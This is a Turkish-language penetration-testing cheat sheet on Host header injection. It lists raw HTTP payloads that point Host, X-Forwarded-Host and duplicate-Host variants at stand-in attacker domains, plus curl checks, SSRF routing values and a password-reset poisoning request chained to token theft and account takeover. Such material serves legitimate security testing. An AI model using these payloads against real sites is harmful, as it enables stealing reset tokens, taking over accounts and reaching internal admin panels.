Host Header Injection
OWASP A05 difficulty: orta
Uygulamalar sıklıkla Host başlığını (veya X-Forwarded-Host) mutlak URL üretmek için kullanır. Saldırgan bu başlığı kontrol edebiliyorsa; parola sıfırlama bağlantısını, önbelleği veya yönlendirmeyi zehirleyebilir.
Test biçimleri
Section titled “Test biçimleri”GET / HTTP/1.1Host: attacker.example
GET / HTTP/1.1Host: victim.comX-Forwarded-Host: attacker.example
GET / HTTP/1.1Host: victim.comX-Host: attacker.exampleX-Forwarded-Server: attacker.exampleX-HTTP-Host-Override: attacker.exampleForwarded: host=attacker.example
# Çift Host / belirsizlikHost: victim.comHost: attacker.example
# Mutlak URL istek satırıGET https://attacker.example/ HTTP/1.1Host: victim.com
# Port / userinfo / boşlukHost: victim.com:badHost: victim.com:@attacker.exampleHost: victim.com attacker.exampleHost reddedilirse X-Forwarded-* dene — ters vekiller bunları uygulamaya iletir.
Etkili senaryolar
Section titled “Etkili senaryolar”-
Parola sıfırlama zehirleme — e-postadaki link Host ’tan üretiliyorsa: E-posta: https://attacker.example/reset?token=SECRET → token saldırgana.
POST /forgot-password HTTP/1.1Host: attacker.exampleContent-Type: application/x-www-form-urlencodedemail=victim@corp.com -
X-Forwarded-Host ile aynı — Host: victim.com zorunluysa:
POST /forgot-password HTTP/1.1Host: victim.comX-Forwarded-Host: attacker.example -
Cache poisoning — yansıyan host + unkeyed header → Web Cache Poisoning .
-
Routing / SSRF — LB Host’a göre backend seçiyorsa:
Host: localhostHost: admin.internalHost: 127.0.0.1Host: backend.local -
Password reset + open redirect — Host allow-list’te ama path open redirect ile attacker’a sıçrar.
-
OAuth / magic link — redirect_uri veya davet URL’si Host’tan üretiliyorsa token/code sızıntısı.
Doğrulama
Section titled “Doğrulama”curl -i https://hedef/ \ -H 'Host: uniq.attacker.example' \ | grep -i uniq.attackercurl -i https://hedef/ \ -H 'Host: hedef.com' \ -H 'X-Forwarded-Host: uniq.attacker.example' \ | grep -i uniq.attackerYanıt gövdesi, Location, Link, e-posta şablonu veya şifre sıfırlama linkinde yansıma ara.
Absolute form / dual Host
Section titled “Absolute form / dual Host”GET https://evil.example/reset HTTP/1.1Host: victim.com
GET / HTTP/1.1Host: victim.comHost: evil.exampleBazı proxy’ler ilk Host’u routing, ikincisini uygulamaya verir (veya tersi).
Checklist
Section titled “Checklist”□ Host / X-Forwarded-Host / Forwarded / X-Host□ Çift Host başlığı□ Sıfırlama / davet / magic link e-postaları□ OAuth redirect URL üretimi□ Cache + Host kombinasyonu□ Virtual host routing (internal names)□ Password reset token'ın attacker host'a gelmesi (PoC hesabı)Saldırı zinciri
Section titled “Saldırı zinciri”X-Forwarded-Host yansıyor → forgot-password + attacker host → e-postadaki token'ı yakala → hesap devralInternal Host routing → Host: admin.internal → gölge panel / debug